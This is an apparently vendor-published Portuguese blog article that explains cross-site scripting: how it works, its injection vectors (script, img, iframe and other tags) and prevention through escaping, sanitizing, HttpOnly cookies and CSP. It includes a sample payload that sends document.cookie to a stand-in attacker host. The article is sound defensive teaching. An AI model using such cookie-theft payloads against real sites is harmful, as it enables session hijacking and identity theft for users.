©2022 - Todos os Direitos Reservados

Cross-site-scripting (XSS): como acontece esse ciberataque?

Cross-site-scripting (XSS): como acontece esse ciberataque?

Se sua empresa investe em cibersegurança , provavelmente você já ouviu falar sobre o cross-site-scripting , um tipo de ataque de injeção de código do lado do cliente.

Nele, o invasor busca executar scripts maliciosos em um navegador da vítima e, para isso, inclui código malicioso em uma página ou aplicativo legítimo.

O desenvolvimento do ataque se dá quando uma vítima visita uma página ou aplicativo, que executa o código malicioso.

Ou seja, o aplicativo ou página pode ser entendido como um veículo para o ataque de cross-site-scripting , pois é ele que entrega o script malicioso ao navegador do usuário.

Fóruns, quadros de mensagens e outras páginas da Web que contam com a possibilidade de inserção de comentários são especialmente vulneráveis a esse tipo de ataque e, por isso, muito utilizados pelos cibercriminosos.

Uma página ou aplicativo é vulnerável ao cross-site-scripting quando utiliza entrada de usuário não sanitizada na saída que ela gera.

Os ataques cross-site-scripting são possíveis em VBScript, ActiveX, Flash e até CSS, mas são muito mais comuns em JavaScript.

Uma das principais razões para essa maior incidência é que o JavaScript é essencial para a maior parte das experiências de navegação.

Assim, se um cibercriminoso explorar uma condição vulnerável ao cross-site-scripting na página Web da sua empresa para executar JavaScript arbitrário no navegador de um usuário, tanto a segurança do seu site quanto a de seus usuários estarão comprometidas.

Se as investidas dos cibercriminosos afetam seus usuários, ou seja, seus clientes e clientes em potencial, elas afetam a sua empresa.

O cross-site-scripting também pode ser aplicado para desfigurar um site ao invés de direcionar um usuário.

Nesse caso, o invasor pode usar scripts injetados para alterar o conteúdo do site ou mesmo redirecionar o navegador para outra página da Web, que pode conter o código malicioso.

Enfim, mesmo não sendo considerado um dos tipos de ciberataque mais ameaçadores, o cross-site-scripting pode causar problemas e, por isso, é importante preveni-lo.

Ao longo dos próximos tópicos, vamos explicar como esse tipo de ação cibercriminosa ocorre e como evitá-la. Continue a leitura!

Sobre os ataques cross-site-scripting em JavaScript

Como mencionamos acima, as vulnerabilidades de cross-site scripting ou XSS não são vistas como tão perigosas quanto, por exemplo, as vulnerabilidades de SQL injection.

De fato, as consequências da capacidade de executar JavaScript em uma página web, a princípio não são tão assustadoras.

Isso porque a maioria dos navegadores da Web executa JavaScript em um ambiente extremamente controlado, ou seja, o JavaScript tem acesso limitado ao sistema operacional do usuário e aos seus arquivos.

Contudo, é preciso considerar que o JavaScript, ainda assim, pode ser perigoso, já que ele pode ser mal utilizado como parte de conteúdo malicioso.

O JavaScript malicioso pode ter acesso a todos os objetos que o resto da página da web detém, e isso inclui o acesso aos cookies do usuário.

Como os cookies costumam ser utilizados ​​para armazenar tokens de sessão, se um invasor conseguir obter o cookie de sessão de um usuário, ele poderá representar esse usuário, realizar ações em nome dele e obter acesso a dados confidenciais.

O JavaScript também pode ler o DOM do navegador e fazer modificações arbitrárias nele. Mas isso só é possível na página em que o JavaScript está sendo executado.

Outra possibilidade é a utilização do objeto XMLHttpRequest pelo JavaScript para enviar solicitações HTTP com conteúdo arbitrário para destinos também arbitrários.

Além disso, é preciso lembrar que o JavaScript em navegadores modernos pode usar APIs HTML5.

Ele pode obter, por exemplo, acesso à geolocalização, webcam, microfone e até arquivos específicos do sistema de arquivos do usuário.

A maioria dessas APIs exige aceitação do usuário, mas o invasor pode usar técnicas de engenharia social para contornar essa limitação.

As possibilidades acima, principalmente quando em combinação com a engenharia social, possibilitam aos invasores a promoção de ataques avançados.

Esses ataques podem incluir o roubo de cookies, a instalação de trojans, keylogging, phishing e também o roubo de identidade.

As vulnerabilidades cross-site-scripting fornecem o terreno perfeito para escalar esses ataques para patamares mais sérios.

E, além das técnicas de engenharia social, o cross-site-scripting também pode ser usado em conjunto com outros tipos de ataques, por exemplo, o cross-site-request-forgery (CSRF).

Existem diversos tipos de ataques cross-site-scripting, como o XSS armazenado/persistente, o XSS refletido/não persistente e o XSS baseado em DOM.

Ou seja, ainda que esta não esteja entre as vulnerabilidades com as quais os gestores de TI mais se preocupam, é importante conhecê-la bem para evitar suas consequências.

Como é feito um ataque cross-site-scripting?

Um ataque de cross-site scripting típico conta com dois estágios ou etapas possíveis:

  • Primeiramente, para executar o código JavaScript malicioso no navegador da vítima, o invasor precisa antes encontrar uma forma de injetar o código (carga útil) em uma página da web visitada por ela;
  • Depois disso, a vítima deve visitar a página da web com o código malicioso. Se o ataque for direcionado a vítimas específicas, o invasor pode usar engenharia social ou phishing.

Para que a primeira etapa seja possível, o site vulnerável precisa incluir diretamente a entrada do usuário em suas páginas.

O cibercriminoso pode inserir uma string maliciosa que será usada na página da Web e tratada como código-fonte pelo navegador da vítima.

Também existem variantes de ataques de cross-site-scripting em que o invasor induz o usuário a visitar uma URL usando engenharia social e a carga útil faz parte do link em que o usuário clica.

Veja abaixo um trecho de um pseudocódigo do lado do servidor que é usado para exibir o comentário mais recente em uma página da web:

print "<html>"

print "<h1>Comentário mais recente</h1>"

print banco de dados.últimoComentário

print "</html>"

O script acima simplesmente pega o comentário mais recente de um banco de dados e o inclui em uma página HTML.

Ele assume que o comentário impresso consiste apenas em texto e não contém tags HTML ou outro código.

Assim, ele é vulnerável ao cross-site-scripting porque um invasor pode enviar um comentário que contém uma carga maliciosa, por exemplo:

<script>fazerAlgoDesastroso();</script>

O servidor da web fornece o seguinte código HTML aos usuários que visitam esta página da web:

<html>

<h1>Comentário mais recente</h1>

<script>FazerAlgoDesastroso();</script>

</html>

Quando a página é carregada no navegador da vítima, o script malicioso do invasor é executado. Na maioria das vezes, a vítima não percebe, sendo incapaz de evitar tal ataque.

Também é preciso lembrar que os cibercriminosos costumam usar o cross-site scripting para roubar cookies.

Isso possibilita que eles se façam passar pela vítima. Nesse caso, eles podem enviar o cookie para seu próprio servidor de várias maneiras.

Uma delas é a execução do seguinte script do lado do cliente no navegador da vítima:

<script>

window.location="http://desastre.com/?cookie=" + document.cookie

</script>

Veja abaixo o passo a passo de um ataque cross-site-scripting simples:

  • O invasor injeta a carga útil no banco de dados do site enviando um formulário vulnerável com conteúdo JavaScript malicioso;
  • A vítima solicita a página da web do servidor;
  • O servidor da Web fornece ao navegador da vítima a página com a carga útil do invasor como parte do corpo do HTML;
  • O navegador da vítima executa o script malicioso contido no corpo do HTML. Nesse caso, ele envia o cookie da vítima para o servidor do invasor.
  • O invasor agora precisa apenas extrair o cookie da vítima quando a solicitação HTTP chegar ao servidor.
  • Depois disso, o invasor pode usar o cookie roubado da vítima para representação.

Vetores de cross-site-scripting

Vamos ver agora alguns vetores de ataque cross-site-scripting comuns que os cibercriminosos podem usar para comprometer a segurança de um site ou aplicativo da Web.

  • Tag <script>: a tag <script> é a mais direta carga de cross-site-scripting. Ela pode fazer referência a um código JavaScript externo ou incorporar o código na própria tag de script;
  • Eventos JavaScript: atributos de evento JavaScript como onload e onerror podem ser usados ​​em muitas tags diferentes. Este é um vetor de ataque cross-site-scripting muito popular;
  • Tag <body>: uma carga útil de cross-site-scripting pode ser entregue dentro da tag <body> usando atributos de evento ou outros atributos mais obscuros, como o atributo background;
  • Tag <img>: alguns navegadores executam o JavaScript encontrado nos atributos <img>;
  • Tag <iframe>: a tag <iframe> permite a incorporação de outra página HTML na página atual. Um IFrame pode conter JavaScript, mas o JavaScript no IFrame não tem acesso ao DOM da página devido à Política de Segurança de Conteúdo (CSP) do navegador. No entanto, os IFrames ainda são muito eficazes para realizar ataques de phishing;
  • Tag <input>: em alguns navegadores, se o atributo type da tag <input> for definido como imagem, ele poderá ser manipulado para incorporar um script;
  • Tag <link>: a tag <link>, que normalmente é usada para vincular a folhas de estilo externas, também pode conter um script;
  • Tag <table>: o atributo background das tags <table> e <td> pode ser explorado para se referir a um script em vez de uma imagem;
  • Tag <div>: a tag <div>, que é semelhante às tags <table> e <td>, também pode especificar um plano de fundo e, portanto, incorporar um script.
  • Tag <object>: a tag <object> pode ser usada para incluir um script de um site externo.

Após esta leitura, para ter acesso a um rol mais completo de exemplos de carga útil de cross-site-scripting, você pode visitar a lista da organização OWASP.

Como prevenir os ataques de cross-site-scripting?

As vulnerabilidades de cross-site-scripting são bastante comuns, mas, felizmente, é fácil testar se o seu site ou aplicativo da Web é vulnerável não apenas a este tipo de ataque, mas também a diversos outros.

Basta executar uma verificação automatizada da Web usando um bom scanner de vulnerabilidades, que deve incluir um módulo de scanner XSS especializado.

Este é um passo fundamental para manter seu site ou aplicação protegido, mas também é importante higienizar sua entrada.

O código do aplicativo nunca deve gerar dados recebidos como entrada diretamente no navegador sem verificar se há código malicioso.

Quando se pensa em técnicas específicas de prevenção, é possível perceber que evitar um ataque de cross-site-scripting pode não ser fácil.

Isso porque as técnicas a serem utilizadas vão depender do subtipo de vulnerabilidade XSS, do contexto de uso da entrada do usuário e da estrutura de programação.

Todavia, existem certos princípios estratégicos gerais que você pode seguir para manter seu aplicativo da web ou site mais seguro. Vamos ver os principais entre eles.

Promova a conscientização

Para manter seu aplicativo da web seguro, todos os envolvidos na criação do mesmo devem estar cientes dos riscos associados às vulnerabilidades de cross-site-scripting.

Então, você precisa promover treinamentos de segurança adequados para todos os seus desenvolvedores, equipe de QA, DevOps e SysAdmins.

Não confie em nenhuma entrada do usuário

Todas as entradas do usuário devem ser tratadas como não confiáveis. Qualquer entrada do usuário usada como parte da saída HTML apresenta o risco de um ataque de cross-site-scripting.

Sendo assim, trate a entrada de usuários autenticados e internos da mesma forma que você trata a entrada pública.

Use codificação

Use uma técnica de escape/codificação apropriada, dependendo de onde a entrada do usuário será usada: escape HTML, escape JavaScript, escape CSS, escape URL, etc.

Além disso, não escreva sua própria biblioteca, a não ser que isso seja extremamente necessário. Prefira usar as bibliotecas existentes para escape.

Higienize o HTML

Se a entrada do usuário precisar conter HTML, você não pode codificá-la porque quebraria tags válidas.

Nesses casos, você pode recorrer a uma biblioteca confiável e verificada para analisar e limpar o HTML.

Escolha a biblioteca dependendo de sua linguagem de desenvolvimento, por exemplo, HtmlSanitizer para .NET.

Defina o sinalizador HttpOnly

Para reduzir os efeitos das consequências de uma possível vulnerabilidade de cross-site-scripting, defina o sinalizador HttpOnly para cookies.

Quando você toma essa iniciativa, esses cookies não podem ser acessados ​​via JavaScript do lado do cliente.

Conte com uma política de segurança de conteúdo

Para mitigar as consequências de uma possível vulnerabilidade de cross-site-scripting, use também uma política de segurança de conteúdo (CSP).

A CSP é um cabeçalho de resposta HTTP que permite declarar os recursos dinâmicos que podem ser carregados dependendo da origem da solicitação.

Invista em cibersegurança

A cibersegurança deve ser uma prioridade nas rotinas da sua empresa e deve integrar todas as etapas de desenvolvimento do aplicativo (DevSecOps) e estar presente em sua estratégia de negócios.

Não se trata, portanto, de um investimento pontual. Além de contar com recursos como o scanner de vulnerabilidades, citado acima, é importante agregar a cibersegurança à cultura organizacional.

Com o avanço vertiginoso do cibercrime no mundo inteiro, não há outra alternativa a não ser a promoção da segurança cibernética.

Mantendo-a no topo de sua lista de prioridades, você previne não apenas os ataques de cross-site-scripting, mas diversos outros tipos de investidas dos cibercriminosos.

Para isso, você pode recorrer a uma plataforma de cibersegurança completa e eficiente, como a EcoTrust,  que antecipa ameaças e reduz os ataques cibernéticos a empresas.

Além disso, você precisa se manter atualizado e bem informado a respeito das estratégias utilizadas por possíveis invasores e das possíveis vulnerabilidades que a sua aplicação pode ter.

A Fundação OWASP, já citada neste artigo, promove trocas de conhecimento e conteúdos desenvolve conteúdos educativos gratuitos focados principalmente na proteção de dados .

Um desses conteúdos é o OWASP Top 10, um ranking periódico que reúne as 10 falhas mais comuns, perigosas ou críticas ao desenvolvimento de projetos web.Os ataques de injeção, que incluem o cross-site-scripting, estão atualmente na terceira posição deste classificação. Você pode obter mais informações e conferir a lista completa acessando o artigo “ OWASP top 10: lista atualizada das 10 vulnerabilidades mais comuns em aplicações ”. Até o próximo conteúdo.